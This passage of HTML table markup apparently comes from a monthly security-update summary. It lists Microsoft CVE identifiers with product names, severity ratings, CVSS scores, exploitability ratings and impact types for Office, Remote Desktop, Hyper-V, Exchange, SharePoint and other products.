  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
